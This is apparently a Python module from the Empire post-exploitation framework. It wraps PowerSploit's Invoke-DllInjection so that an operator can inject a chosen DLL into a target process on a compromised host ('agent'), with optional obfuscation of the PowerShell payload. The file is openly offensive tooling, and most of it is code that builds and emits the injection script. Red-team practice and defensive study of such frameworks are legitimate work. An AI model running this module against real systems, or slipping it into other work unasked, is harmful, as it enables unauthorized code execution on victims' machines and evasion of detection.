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https://github.com/EmpireProject/Empire
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xorrior
94 lines
3.1 KiB
Python
94 lines
3.1 KiB
Python
import re
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from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-DllInjection',
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'Author': ['@mattifestation'],
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'Description': ("Uses PowerSploit's Invoke-DLLInjection to inject "
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" a Dll into the process ID of your choosing."),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'ProcessID' : {
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'Description' : 'Process ID of the process you want to inject a Dll into.',
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'Required' : True,
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'Value' : ''
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},
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'Dll' : {
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'Description' : 'Name of the dll to inject. This can be an absolute or relative path.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-DllInjection.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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scriptEnd = "\nInvoke-DllInjection"
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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scriptEnd += " -" + str(option) + " " + str(values['Value'])
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if obfuscate:
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scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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